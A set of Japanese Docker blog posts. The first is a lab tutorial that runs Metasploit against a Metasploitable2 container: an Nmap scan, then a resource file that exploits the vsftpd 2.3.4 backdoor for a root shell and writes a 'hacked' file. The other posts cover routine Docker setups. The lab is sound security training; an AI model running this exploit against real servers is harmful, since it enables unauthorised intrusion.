- 投稿日:2019-02-03T22:11:51+09:00
MetasploitをDockerとKubernetesで動かしてみた
本記事について
この記事は,DockerやKubernetesさえ導入されていれば,他には面倒な設定無しで,簡単にペネトレーションテスト環境を構築できることを目的としています.
【本記事に掲載されている内容を,自身で管理していないサーバやネットワークに対して実施した場合は不正アクセス禁止法に抵触する可能性がありますのでご注意ください】
本記事で使用した環境
$ cat /etc/lsb-release DISTRIB_ID=Ubuntu DISTRIB_RELEASE=16.04 DISTRIB_CODENAME=xenial DISTRIB_DESCRIPTION="Ubuntu 16.04.5 LTS" $ docker --version Docker version 18.09.0, build 4d60db4 $ minikube version minikube version: v0.29.0必要なもの
今回使う予定のものは,全てGitHubとDocker Hubに置いてあります.GitHubにはMetasploitイメージのDockerfileなども置いてありますので,是非使いやすいように改造してみて下さい.
それでは早速,下のコマンドを順に実行して必要なものを取ってきましょう.$ git clone https://github.com/SauravBrahma/MetasploitImage.git $ docker pull sauravbrahma/metasploit_image $ docker pull tleemcjr/metasploitable2ここまでで,今回必要なものを取ってくることが出来ましたので,実際に動かしてみましょう.
Dockerで環境構築
$ docker run --rm -it tleemcjr/metasploitable2:latest sh -c "/bin/services.sh && bash" * Starting web server apache2 [ OK ] * Starting deferred execution scheduler atd [ OK ] * Starting periodic command scheduler crond [ OK ] ・ ・ ・ * Starting internet superserver xinetd [ OK ] * Doing Wacom setup... [ OK ] * Running local boot scripts (/etc/rc.local) [ OK ] root@c3803e096580:/# # 後で攻撃対象を指定する時にIPアドレスが必要になるので記録しておく. root@c3803e096580:/# ifconfig | grep 172 inet addr:172.17.0.5 Bcast:172.17.255.255 Mask:255.255.0.0 # 動かしたままコンテナを抜けるために,Ctrl-p,Ctrl-qを入力した後,次のコマンドでコンテナが動いているか確認. $ docker ps | grep tleemcjr/metasploitable2 c3803e096580 tleemcjr/metasploitable2:latest "sh -c '/bin/service…" 8 minutes ago Up 8 minutes vigorous_kalam $ docker run --rm -it sauravbrahma/metasploit_image:latest bash * Starting PostgreSQL 9.3 database server [ OK ] msf_user@ef8a1f8f6923:/opt/metasploit-framework$以上で,Dockerを使った環境構築が出来ました.また,今回は余計なコンテナが残らないよう,実行時に
--rmオプションをつけています.Dockerでペネトレーションテストをしてみる
ここでは実際にDockerを使ってペネトレーションテストを行ってみましょう.攻撃用コンテナに現在ログインしているので,
msfconsoleコマンドを入力すればMetasploitのコンソールが立ち上がります.msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole ** Welcome to Metasploit Framework Initial Setup ** Please answer a few questions to get started. ** Metasploit Framework Initial Setup Complete ** .:okOOOkdc' 'cdkOOOko:. .xOOOOOOOOOOOOc cOOOOOOOOOOOOx. :OOOOOOOOOOOOOOOk, ,kOOOOOOOOOOOOOOO: 'OOOOOOOOOkkkkOOOOO: :OOOOOOOOOOOOOOOOOO' oOOOOOOOO. .oOOOOoOOOOl. ,OOOOOOOOo dOOOOOOOO. .cOOOOOc. ,OOOOOOOOx lOOOOOOOO. ;d; ,OOOOOOOOl .OOOOOOOO. .; ; ,OOOOOOOO. cOOOOOOO. .OOc. 'oOO. ,OOOOOOOc oOOOOOO. .OOOO. :OOOO. ,OOOOOOo lOOOOO. .OOOO. :OOOO. ,OOOOOl ;OOOO' .OOOO. :OOOO. ;OOOO; .dOOo .OOOOocccxOOOO. xOOd. ,kOl .OOOOOOOOOOOOO. .dOk, :kk;.OOOOOOOOOOOOO.cOk: ;kOOOOOOOOOOOOOOOk: ,xOOOOOOOOOOOx, .lOOOOOOOl. ,dOd, . =[ metasploit v4.17.35-dev- ] + -- --=[ 1845 exploits - 1044 auxiliary - 320 post ] + -- --=[ 541 payloads - 44 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf >今回は,以下の順に進めていきたいと思います.
- Metasploitableに対してNmapをかけた結果をデータベースに格納
- 使うモジュールを決めて攻撃を行う
- Metasploitableに攻撃が成功した証拠として
You've been hackedという内容のテキストファイルを残す- Metasploitable側にテキストファイルが残っているか確認
では攻撃していきましょう!
Metasploitableに対してNmapをかけた結果をデータベースに格納
まずは,Metasploitがデータベースに接続されているか確認しましょう.
msf > db_status [*] postgresql connected to msf_database msf >今回使用しているDockerイメージは最初からデータベースに接続されているので,上記のような出力になるはずです.
では,MetasploitableにNmapをかけてその結果をデータベースに格納してみましょう.msf > db_nmap -A 172.17.0.2 [*] Nmap: Starting Nmap 7.01 ( https://nmap.org ) at 2019-01-25 08:56 UTC [*] Nmap: Nmap scan report for 172.17.0.2 [*] Nmap: Host is up (0.00054s latency). [*] Nmap: Not shown: 980 closed ports [*] Nmap: PORT STATE SERVICE VERSION [*] Nmap: 21/tcp open ftp vsftpd 2.3.4 [*] Nmap: |_ftp-anon: Anonymous FTP login allowed (FTP code 230) [*] Nmap: 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0) [*] Nmap: | ssh-hostkey: [*] Nmap: | 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA) [*] Nmap: |_ 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA) [*] Nmap: 23/tcp open telnet Linux telnetd [*] Nmap: 25/tcp open smtp Postfix smtpd [*] Nmap: |_smtp-commands: metasploitable.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, [*] Nmap: | ssl-cert: Subject: commonName=ubuntu804-base.localdomain/organizationName=OCOSA/stateOrProvinceName=There is no such thing outside US/countryName=XX [*] Nmap: | Not valid before: 2010-03-17T14:07:45 [*] Nmap: |_Not valid after: 2010-04-16T14:07:45 [*] Nmap: |_ssl-date: 2019-01-25T08:58:24+00:00; 0s from scanner time. [*] Nmap: 111/tcp open rpcbind 2 (RPC #100000) [*] Nmap: | rpcinfo: [*] Nmap: | program version port/proto service [*] Nmap: | 100000 2 111/tcp rpcbind [*] Nmap: | 100003 2,3,4 2049/tcp nfs [*] Nmap: | 100003 2,3,4 2049/udp nfs [*] Nmap: | 100005 1,2,3 50419/tcp mountd [*] Nmap: | 100005 1,2,3 58275/udp mountd [*] Nmap: | 100021 1,3,4 33414/tcp nlockmgr [*] Nmap: | 100021 1,3,4 58022/udp nlockmgr [*] Nmap: | 100024 1 42939/tcp status [*] Nmap: |_ 100024 1 49024/udp status [*] Nmap: 139/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) [*] Nmap: 445/tcp open netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP) [*] Nmap: 512/tcp open exec netkit-rsh rexecd [*] Nmap: 513/tcp open login [*] Nmap: 514/tcp open tcpwrapped [*] Nmap: 1099/tcp open java-rmi Java RMI Registry [*] Nmap: 1524/tcp open ingreslock? [*] Nmap: 2121/tcp open ftp ProFTPD 1.3.1 [*] Nmap: 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5 [*] Nmap: | mysql-info: [*] Nmap: | Protocol: 53 [*] Nmap: | Version: .0.51a-3ubuntu5 [*] Nmap: | Thread ID: 9 [*] Nmap: | Capabilities flags: 43564 [*] Nmap: | Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, SwitchToSSLAfterHandshake, SupportsCompression, SupportsTransactions, LongColumnFlag [*] Nmap: | Status: Autocommit [*] Nmap: |_ Salt: g>=Vy7.~VoOz<W#H!ju [*] Nmap: 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7 [*] Nmap: 5900/tcp open vnc VNC (protocol 3.3) [*] Nmap: | vnc-info: [*] Nmap: | Protocol version: 3.3 [*] Nmap: | Security types: [*] Nmap: |_ Unknown security type (33554432) [*] Nmap: 6000/tcp open X11 (access denied) [*] Nmap: 6667/tcp open irc Unreal ircd [*] Nmap: | irc-info: [*] Nmap: | users: 1 [*] Nmap: | servers: 1 [*] Nmap: | lusers: 1 [*] Nmap: | lservers: 0 [*] Nmap: | server: irc.Metasploitable.LAN [*] Nmap: | version: Unreal3.2.8.1. irc.Metasploitable.LAN [*] Nmap: | uptime: 0 days, 0:32:56 [*] Nmap: | source ident: nmap [*] Nmap: | source host: 36620686.BF756E4.69365C88.IP [*] Nmap: |_ error: Closing Link: pepuwvzow[172.17.0.3] (Quit: pepuwvzow) [*] Nmap: 8009/tcp open ajp13 Apache Jserv (Protocol v1.3) [*] Nmap: |_ajp-methods: Failed to get a valid response for the OPTION request [*] Nmap: 8180/tcp open http Apache Tomcat/Coyote JSP engine 1.1 [*] Nmap: |_http-favicon: Apache Tomcat [*] Nmap: |_http-server-header: Apache-Coyote/1.1 [*] Nmap: |_http-title: Apache Tomcat/5.5 [*] Nmap: 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : [*] Nmap: SF-Port1524-TCP:V=7.01%I=7%D=1/25%Time=5C4ACF30%P=x86_64-pc-linux-gnu%r(NU ・ ・ ・ [*] Nmap: Host script results: [*] Nmap: |_nbstat: NetBIOS name: 14586EEA2FB4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown) [*] Nmap: | smb-os-discovery: [*] Nmap: | OS: Unix (Samba 3.0.20-Debian) [*] Nmap: | NetBIOS computer name: [*] Nmap: | Workgroup: WORKGROUP [*] Nmap: |_ System time: 2019-01-25T03:58:24-05:00 [*] Nmap: Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . [*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 137.18 seconds msf >
-Aオプションを使用しているので,なかなかに時間がかかりますが,気長に待ってあげて下さい.
これで対象の空いているポートや,そこで動いている可能性の高いサービスやOSなど色々な情報を知ることが出来ました.ちなみにこれらは当然現在ログインしているコンテナのデータベースに保存されているので,SQLからクエリを送ることでも情報を見ることが出来ます.msf > exit msf_user@c9521edd20f4:/opt/metasploit-framework$ psql -U msf_user msf_database psql (9.3.17) Type "help" for help. msf_database=# SELECT * FROM services; id | host_id | created_at | port | proto | state | name | updated_at | info ----+---------+----------------------------+------+-------+-------+-------------+----------------------------+-------------------------------------------- 1 | 1 | 2019-01-25 08:58:27.315887 | 21 | tcp | open | ftp | 2019-01-25 08:58:27.315887 | vsftpd 2.3.4 2 | 1 | 2019-01-25 08:58:27.777045 | 22 | tcp | open | ssh | 2019-01-25 08:58:27.777045 | OpenSSH 4.7p1 Debian 8ubuntu1 protocol 2.0 3 | 1 | 2019-01-25 08:58:27.815226 | 23 | tcp | open | telnet | 2019-01-25 08:58:27.815226 | Linux telnetd 4 | 1 | 2019-01-25 08:58:27.848245 | 25 | tcp | open | smtp | 2019-01-25 08:58:27.848245 | Postfix smtpd 5 | 1 | 2019-01-25 08:58:27.913605 | 111 | tcp | open | rpcbind | 2019-01-25 08:58:27.913605 | 2 RPC #100000 6 | 1 | 2019-01-25 08:58:27.956202 | 139 | tcp | open | netbios-ssn | 2019-01-25 08:58:27.956202 | Samba smbd 3.X workgroup: WORKGROUP 7 | 1 | 2019-01-25 08:58:27.989778 | 445 | tcp | open | netbios-ssn | 2019-01-25 08:58:27.989778 | Samba smbd 3.X workgroup: WORKGROUP 8 | 1 | 2019-01-25 08:58:28.026979 | 512 | tcp | open | exec | 2019-01-25 08:58:28.026979 | netkit-rsh rexecd 9 | 1 | 2019-01-25 08:58:28.059262 | 513 | tcp | open | login | 2019-01-25 08:58:28.059262 | 10 | 1 | 2019-01-25 08:58:28.096009 | 514 | tcp | open | tcpwrapped | 2019-01-25 08:58:28.096009 | 11 | 1 | 2019-01-25 08:58:28.135852 | 1099 | tcp | open | java-rmi | 2019-01-25 08:58:28.135852 | Java RMI Registry 12 | 1 | 2019-01-25 08:58:28.182279 | 1524 | tcp | open | ingreslock | 2019-01-25 08:58:28.182279 | 13 | 1 | 2019-01-25 08:58:28.239117 | 2121 | tcp | open | ftp | 2019-01-25 08:58:28.239117 | ProFTPD 1.3.1 14 | 1 | 2019-01-25 08:58:28.270095 | 3306 | tcp | open | mysql | 2019-01-25 08:58:28.270095 | MySQL 5.0.51a-3ubuntu5 15 | 1 | 2019-01-25 08:58:28.302865 | 5432 | tcp | open | postgresql | 2019-01-25 08:58:28.302865 | PostgreSQL DB 8.3.0 - 8.3.7 16 | 1 | 2019-01-25 08:58:28.328482 | 5900 | tcp | open | vnc | 2019-01-25 08:58:28.328482 | VNC protocol 3.3 17 | 1 | 2019-01-25 08:58:28.372125 | 6000 | tcp | open | x11 | 2019-01-25 08:58:28.372125 | access denied 18 | 1 | 2019-01-25 08:58:28.399048 | 6667 | tcp | open | irc | 2019-01-25 08:58:28.399048 | Unreal ircd 19 | 1 | 2019-01-25 08:58:28.435059 | 8009 | tcp | open | ajp13 | 2019-01-25 08:58:28.435059 | Apache Jserv Protocol v1.3 20 | 1 | 2019-01-25 08:58:28.479801 | 8180 | tcp | open | http | 2019-01-25 08:58:28.479801 | Apache Tomcat/Coyote JSP engine 1.1 (20 rows) msf_database=# \q msf_user@c9521edd20f4:/opt/metasploit-framework$こうしてデータベースにNmapをかけた結果を格納しておくことで,自動化する際にインポートしたり,結果をエクスポートしたりすることが出来ます.また,データベースに複数のエントリが存在している時,
hostsコマンドなどを使用することで,条件に合う攻撃対象を選定することも出来ます.使うモジュールを決めて攻撃を行う
今は
DEPRECATEDになってしまいましたが,Metasploitにはdb_autopwnという自動攻撃用のプラグインが存在しています.db_autopwnはデータベースから攻撃対象について得た情報で自動攻撃をしてくれる優れものです.今回使用しているDockerイメージでもdb_autopwnを使えるよう設定してあります(load db_autopwnとdb_autopwn <option>の二つのコマンドを実行することで使えます)が,当てはまる脆弱性が多すぎるため,今回は使わず"6つの攻撃自動化手法"から違う方法を選びます.この中にコンソールを自動化出来るリソースファイルについての記述がありますね.これは何度も行うようなタスクをリソースファイルに書いておくことでタスクを自動化してくれるもののようです.さらに~/.msf4/以下にリソースファイルを置いておくと,コンソールを呼び出す度にその中身を実行してくれるようです.
今回は特に何度も攻撃を行うわけではありませんが,後述するKubernetesで使うことも出来そうなので,リソースファイルを使って攻撃してみたいと思います.また,Nmapの結果から,21番ポートでftpのサービスが動いていることが分かったので,今回はftpに関する有名なモジュールを使用します.easy_pentes.rcuse exploit/unix/ftp/vsftpd_234_backdoor set RHOST 172.17.0.2 exploit -z sessions -i 1 -c "id" sessions -i 1 -c "pwd" sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt" exit -yリソースファイルに書くのはこれだけです.使うモジュールと攻撃対象のIPと実行命令だけです.ちなみに
sessionsコマンドの部分は,-iオプションでどのセッションに対して,-cオプションで実行したい命令を,指定することが出来ます.
早速このリソースファイルをMetasploitから実行してみましょう.msf_user@c9521edd20f4:/opt/metasploit-framework$ msfconsole -q -r easy_pentes.rc [*] Processing easy_pentes.rc for ERB directives. resource (easy_pentes.rc)> use exploit/unix/ftp/vsftpd_234_backdoor resource (easy_pentes.rc)> set RHOST 172.17.0.2 RHOST => 172.17.0.2 resource (easy_pentes.rc)> exploit -z [*] 172.17.0.2:21 - Banner: 220 (vsFTPd 2.3.4) [*] 172.17.0.2:21 - USER: 331 Please specify the password. [+] 172.17.0.2:21 - Backdoor service has been spawned, handling... [+] 172.17.0.2:21 - UID: uid=0(root) gid=0(root) [*] Found shell. [*] Session 1 created in the background. resource (easy_pentes.rc)> sessions -i 1 -c "id" [*] Running 'id' on shell session 1 (172.17.0.2) uid=0(root) gid=0(root) resource (easy_pentes.rc)> sessions -i 1 -c "pwd" [*] Running 'pwd' on shell session 1 (172.17.0.2) / resource (easy_pentes.rc)> sessions -i 1 -c "echo \"You've been hacked\" > /hacked.txt" [*] Running 'echo "You've been hacked" > /hacked.txt' on shell session 1 (172.17.0.2) resource (easy_pentes.rc)> exit -y msf_user@c9521edd20f4:/opt/metasploit-framework$無事に攻撃出来たようです.この攻撃によってroot権限を奪取出来ていることが確認できます.また,攻撃が成功した時点でいるディレクトリはトップの
/のようです.msfconsoleコマンドに-rオプションをつけることでリソースファイルの読み込みを,-qオプションをつけることでバナーを消すことも出来ます.Metasploitable側にテキストファイルが残っているか確認
では攻撃に成功したことをMetasploitable側から確認してみましょう.Metasploitable側にログインして下さい.先ほど確認したところ,
hacked.txtを書き込んだディレクトリは/であるはずなので,特にディレクトリの移動などはしなくて良いはずです.root@ee769a0fc9f6:/# ls bin boot cdrom core dev etc hacked.txt home initrd initrd.img lib lost+found media mnt nohup.out opt proc root sbin srv sys tmp usr var vmlinuz root@ee769a0fc9f6:/# cat hacked.txt You've been hacked root@ee769a0fc9f6:/#Metasploitable側からも侵害されたことを確認できました.
Dockerを用いたペネトレーションテストは以上になります.Kubernetesでたくさん作ってみる
$ kubectl apply -f yaml/metasploit.yaml replicaset.apps/metasploit-rc created $ kubectl apply -f yaml/metasploitable.yaml replicaset.apps/metasploitable2-rc created $ kubectl get pods -o wide NAME READY STATUS RESTARTS AGE IP NODE metasploit-rc-nxwd2 1/1 Running 0 17s 172.17.0.5 minikube metasploitable2-rc-f9dzd 1/1 Running 0 11s 172.17.0.6 minikube metasploitable2-rc-mbz95 0/1 ContainerCreating 0 11s <none> minikube metasploitable2-rc-s2lwh 0/1 ContainerCreating 0 11s <none> minikube $ kubectl get pods -o wide NAME READY STATUS RESTARTS AGE IP NODE metasploit-rc-nxwd2 1/1 Running 0 23s 172.17.0.5 minikube metasploitable2-rc-f9dzd 1/1 Running 0 17s 172.17.0.6 minikube metasploitable2-rc-mbz95 1/1 Running 0 17s 172.17.0.8 minikube metasploitable2-rc-s2lwh 1/1 Running 0 17s 172.17.0.7 minikube今回は,手軽にたくさんのMetasploit PodやMetasploitable Podを作りたかったので,ReplicaSetリソースを使用しました.デフォルトでは,Metasploit Podが1つ,Metasploitable Podが3つ作られるようになっていますが,それぞれのYAMLファイルの
spec.replicasフィールドを変更することで自分の好きな分だけ検証環境を作ることが出来ます.
では,上のPodの一つに入って他のPodと通信できるか確かめてみましょう.$ kubectl exec -it metasploit-rc-nxwd2 bash msf_user@metasploit-rc-nxwd2:/opt/metasploit-framework$ ping 172.17.0.6 PING 172.17.0.6 (172.17.0.6) 56(84) bytes of data. 64 bytes from 172.17.0.6: icmp_seq=1 ttl=64 time=0.088 ms 64 bytes from 172.17.0.6: icmp_seq=2 ttl=64 time=0.049 ms 64 bytes from 172.17.0.6: icmp_seq=3 ttl=64 time=0.039 ms 64 bytes from 172.17.0.6: icmp_seq=4 ttl=64 time=0.040 ms ^C --- 172.17.0.6 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.039/0.054/0.088/0.020 ms無事に通信出来ているようですね.以上で,Kubernetesを使った環境構築が出来ました.
KubernetesでもDockerで示した内容と同じようにペネトレーションテストを行うことが出来ます.以上になります.ここまで読んで下さりありがとうございました!
色んな状況を想定したペネトレーションテストにこの記事の内容が少しでもお役に立てば幸いです.; )参考
Docker上でMetasploit frameworkによるペネトレーションテストをやってみた
tleemcjr/metasploitable2
Six Ways to Automate Metasploit
VSFTPD v2.3.4 Backdoor Command Execution
- 投稿日:2019-02-03T21:59:28+09:00
Docker で Node.js 開発環境を簡単に用意する
概要
Docker を使って、ローカルを汚すことなく Node.js の開発環境を作る方法です。数行の
docker-compose.ymlを書いて、あとは随時コンテナを起動してコマンドを実行するだけです。環境
- macOS Mojave v10.14.2
- Docker Desktop Community v2.0.0.2
手順
- Docker Desktop をインストールします。
- 開発用ディレクトリ(Git リポジトリ等)を用意します。
docker-compose.ymlを書きます。手順 1、2 については特に説明は不要だと思うので省略します。
docker-compose.ymlを書く以下を書きます。
docker-compose.ymlversion: '3' services: app: image: node:11.8.0 ports: - $PORT:$PORT volumes: - ./:/src working_dir: /src.envPORT=8080
app— サービス名。好きな名前を付けます。- image — Docker の公式イメージを使います。バージョンは開発する目的に合わせて指定してください。
- ports — Express を使って Web サーバを立てる場合など、ホスト・ゲスト間で通信が必要な場合はポートを指定します。今回は環境変数で指定できるようにしました。
- volumes — ホスト側のディレクトリをゲストにマウントします。
- working_dir — コンテナ起動後のカレントディレクトリを指定します。
npm installを実行するpackage.jsonがあるディレクトリを指定するとよいでしょう。以上で準備完了です!
必要な場合はビルドを
パッケージマネージャに Yarn を使用するなど、Node.js のイメージに何かをインストールする必要がある場合は、
Dockerfileを書いてビルドしておきます。実行
あとは
docker-compose run --rm <サービス名> <コマンド>で Node.js を使った何かを随時実行するだけです(以下、サービス名をappとします)。--rmオプションは、コマンド終了後にコンテナを自動的に削除してくれます。npm で任意のライブラリをインストールする
docker-compose run --rm app npm install <パッケージ名>
package.jsonの依存ライブラリをインストールする開発環境を他の人に提供するときなど。
docker-compose run --rm app npm install
package.jsonで定義したスクリプトを実行するExpress で Web サーバを起動するなど、
package.jsonで定義したスクリプトを実行する場合。package.json{ "scripts": { "start": "node --experimental-modules index.mjs" } }
docker-compose.ymlの ports で指定したポートを通すには--service-portsオプションを付けます。docker-compose run --rm --service-ports app npm startよく使うコマンドはシェルスクリプトで
毎回
docker-compose run --rm app ...と打つのは面倒なので、よく使うコマンドはシェルスクリプトにしておくとよいです。例えば、開発環境を構築するためのコマンドを一つのシェルスクリプトに書いておくことで、他の人が開発環境を簡単に準備できるようになります。
prepare.sh#!/bin/bash echo 'PORT=8080' >> .env && \ docker-compose run --rm app npm installまとめ
docker-compose.ymlで Node.js のイメージとボリューム、ワーキングディレクトリ等を定義します。docker-compose run --rm <サービス名> <コマンド>で随時コンテナ作成、コマンド実行、コンテナ削除を行います。それでは、快適な Docker ライフを!
- 投稿日:2019-02-03T17:48:26+09:00
シンプルなJavaアプリを実行するdockerイメージを作成
やること
Dockerについて理解するために、非常に簡易なアプリケーションのdockerイメージを作って動かしてみる。
具体的には、"Hello world!" を1秒に1回出すようなアプリケーションを動作させる。
ビルド〜実行まですべてコンテナ上で行うことを目指す。Javaのソースコードは以下のよう。
https://github.com/nannany/very-simple-application環境
Windows10 HOME 上で実行した。
Windows上にDockerの動作環境を作成するにあたっては、Docker Toolboxを使用した。
詳細は以下の記事参照。
https://qiita.com/idani/items/fb7681d79eeb48c05144dockerイメージを作る流れ
Dockerfileを書く→docker buildコマンドを実行
でdockerイメージは作成される。dockerイメージ作成のざっくりとした流れは以下の図のような感じ。
意識すべき登場人物としては、
- 自身のローカル端末
- ビルドコンテキスト
- dockerイメージ
dockerビルドコマンド実行時に、どのパス配下のファイルをビルドコンテキストに追加するかを決める。
このとき、ビルドコンテキストに持っていきたくないファイルは.dockerignoreファイルに記述する。また、Dockerfile内のCOPY命令で、ビルドコンテキスト内の何をイメージに持っていくか決める。
使用するDockerfile
全体としては以下のよう。
FROM ubuntu:disco COPY . . RUN apt-get update && apt-get install -y \ maven \ openjdk-8-jre \ && cd simple \ && mvn package CMD ["java","-jar","simple/target/simple-1.0-SNAPSHOT.jar"]まずはベースイメージを選ぶために、
FROMを記述する。
ここでは、適当にubuntu:discoを選択する。次に、ビルドコンテキストからイメージにファイルをコピーするために、
COPY . .と記述する。その次に、ソースのビルド、Javaの実行に必要なパッケージ(mavenとopenjdk)をインストールし、mavenのjar作成コマンドを実行する。
RUN apt-get update && apt-get install -y \ maven \ openjdk-8-jre \ && cd simple \ && mvn package書き方は下記をまねて、レイヤの数の最小化、apt-get updateとinstallを同時にやることを意識した。
http://docs.docker.jp/engine/articles/dockerfile_best-practice.html最後に、コンテナが起動した後に
java -jar simple/target/simple-1.0-SNAPSHOT.jarが実行されるように、以下のように記述した。CMD ["java","-jar","simple/target/simple-1.0-SNAPSHOT.jar"]ビルド時に実行するdockerコマンド
イメージを作成する際に実行するdockerコマンドは、
docker build -t simple-application -f Dockerfile.cmd .
-t simple-applicationにて、イメージの名称をsimple-applicationにしている。
-f Dockerfile.cmdにて、イメージの作成に際して使用するDockerfileを、上記のコマンドを実行しているパスにあるDockerfile.cmdとしている。(デフォルトは、コマンドを実行しているパスにあるDockerfileが選択される)
最後の.は、コマンドを実行しているパス配下がビルドコンテキストに追加されますよ、ということを意味している。動かす
上記で作成したイメージを、以下のコマンドで動作させてみる。
docker run simple-application-cmd以下のように表示され、うまくいった。
maven入りのイメージ
上では
ubuntu:discoをベースイメージに指定して、RUNでmavenとJavaをイメージにインストールした。
しかし、もともとmavenとJavaが入っているベースイメージが存在しているので、それを使用したDockerfileが以下。(なぜかテストでエラったのでそこはとばした)FROM maven:3-jdk-8 COPY . . RUN cd simple && mvn package -Dmaven.test.skip=true CMD ["java","-jar","simple/target/simple-1.0-SNAPSHOT.jar"]
- 投稿日:2019-02-03T17:05:31+09:00
docker for Windowsでfirewall絡みのエラーが出た時の対処
概要
docker for WindowsでWindowsのディレクトリをコンテナ内のディレクトリとしてマウントしようとすると、以下のようなエラーが発生したので、その対処をまとめます。
A firewall is blocking file Sharing between Windows and the containers.エラー
原因
インストールしていたセキュリティソフトKasperskyでWindows⇔コンテナ間の通信が許可されていなかった。
対処
KasperskyでWindows⇔コンテナ間の通信を許可します。
以下のようなパケットルールを追加する。
デフォルトであればWindows⇔コンテナ間の通信は以下のような内容です。
これでマウントできると思います。
感想
Windowsで開発環境構築するの大変だなあ。
参考
- 投稿日:2019-02-03T15:52:51+09:00
DockerでRadicaleなうに使っていいよ。
Radicaleとは何か?
それは、
A Free and Open-Source CalDAV and CardDAV Serverです。
https://radicale.orgつまり、スマホやタブレットに登録しているカレンダーやリマインダー、そして連絡先などの情報を自分のサーバーに保管して管理できるということです。
まだ、GoogleやAppleに大事な個人情報を預けてるの?
自宅でDockerを実運用し始めている人にとっては、個人情報のセルフ管理は必ず検討する事のひとつでしょう。
その一例をRadicaleで示したいと思います。
以下、簡単なイメージの説明です。
docker pull takeyamajp/radicalehttps://hub.docker.com/r/takeyamajp/radicale
This container is really easy to use and works out-of-the-box.
docker run -d -e SSL=false -p 5232:80 -v ~/.var/lib/radicale/collections:/radicale takeyamajp/radicaleWhen your server is launched, you can check that everything's OK by going to http://localhost:5232/ with your browser!
If you want to use this container with the SSL connection, you have to run it behind a reverse proxy server including a valid SSL certificate.
FROM centos:centos7 ... ENV TIMEZONE Asia/Tokyo ENV SSL true ENV LOG true ENV LOG_LEVEL INFO ENV USER user ENV PASSWORD password VOLUME /radicale EXPOSE 80 EXPOSE 443このイメージについて
CentOS 7 の公式イメージをベースに作成しています。
https://hub.docker.com/_/centos変数の値はコンテナを再作成しなくても変更できます。
例えば、コンテナをstopしてログ出力レベルやパスワードを変更してから再startする事で新しい値が反映されます。アクセスログ
アクセスログはDocker logsに出力されます。
アクセスログの出力レベルを変更したい場合は
LOG_LEVELの値を変更してください。
DEBUGが最も細かく沢山の情報が出力されます。
それに対してCRITICALは最も緊急性が高い少量の情報だけが出力されます。
- CRITICAL
- ERROR
- WARNING
- INFO
- DEBUG
あと、あまりお勧めしませんが、
LOGの値をfalse(true以外の値)に変更すると、ログ出力をストップする事ができます。タイムゾーン
日本で使用する場合は気にしなくて大丈夫です。
もし、海外で使用する場合は
TIMEZONEの値を変更してください。
CentOSで使用可能な値をそのまま設定できます。wikipedia : List of tz database time zones
https://en.m.wikipedia.org/wiki/List_of_tz_database_time_zonesSSL通信
動作確認など、このコンテナを単体で使用する場合は、SSL通信は利用出来ないため
SSLの値をfalse(true以外の値)に変更してhttpでアクセスしてください。Dockerを実運用しようとしている人なら、必ず独自ドメインを保有して、SSL証明書を設定したリバースプロキシをフロントエンドに設置している事でしょう。
このコンテナは、そのリバースプロキシのバックエンドとして動作する事を想定しています。アカウント
アカウント情報を
USERとPASSWORDに設定してください。管理画面にログインするときに、このアカウント情報が必要になります。
スマホやタブレットに登録するときにも、このアカウント情報が必要になります。
データの永続化
全てのデーターはボリューム
/radicaleに保存されます。
必ず永続化してDockerホスト側に保存してください。データーは別の環境に移動させてもユーザー名を一致させれば読み込む事ができます。
以下、簡単な使い方です。
コンテナを起動したら、まず管理画面からカレンダーやリマインダー、そして連絡先などを作成します。
SSLをtrueで起動した場合は、ブラウザーからhttps://コンテナにアクセス可能なホスト名にアクセスしてください。
SSLをfalseで起動した場合は、ブラウザーからhttp://コンテナにアクセス可能なホスト名にアクセスしてください。ログインに使用するアカウントは
USERとPASSWORDの値になります。これでスマホやタブレットに登録する準備ができました。
端末にCalDavやCardDavを登録する方法は、個別に調べてください。
登録に使用するURLは、上記の管理画面のURLと同じになります。—
以上です。
それでは良いRadicaleライフを。
- 投稿日:2019-02-03T11:39:17+09:00
Dockerを用いてRaspberryPi3上でROSを使ってみる
はじめに
Dockerの勉強がしたかったので、ラズパイでDockerとROSを使ってみることにしました。ラズパイにROSをインストールする方法としては、Raspbian Jessie を使う方法や、ubuntu MATE を使う方法がありますが、ここではRaspbian StretchとDockerを使います。
環境構築
Raspbian Stretchのインストール
Installing operating system images を参考に、SDカードにRaspbianをインストールします。
- Raspbian Stretch with desktopをダウンロードします。RaspberryPi公式 からダウンロードするとかなり時間がかかりますが、JAISTのミラー からダウンロードすると早く終わります。(参考)
- ダウンロードしたzipファイルを解凍してSDカードに書き込みます。
Dockerのインストール
ラズパイを起動し、Get Docker CE for Debian にしたがってDocker CEをインストールします。(CEはCommunity Editionで無償版です。)
通常はリポジトリからインストールするそうですが、Raspbianにはまだ対応していないのでcurlでインストールスクリプトを持ってきてインストールするそうです。
$ curl -fsSL https://get.docker.com -o get-docker.sh $ sudo sh get-docker.shインストールが終わったら、sudoなしでdockerを使用できるように、dockerグループに現在のユーザを追加します。Raspbianの初期設定時のユーザ名はpiなので、次のコマンドを実行します。(ログアウト/ログイン後にusermodの変更が反映されるので、ここで再起動しておきます。)
$ sudo usermod -aG docker pi $ rebootdockerが正常に動作するか確認するため、Hello Worldを実行します。
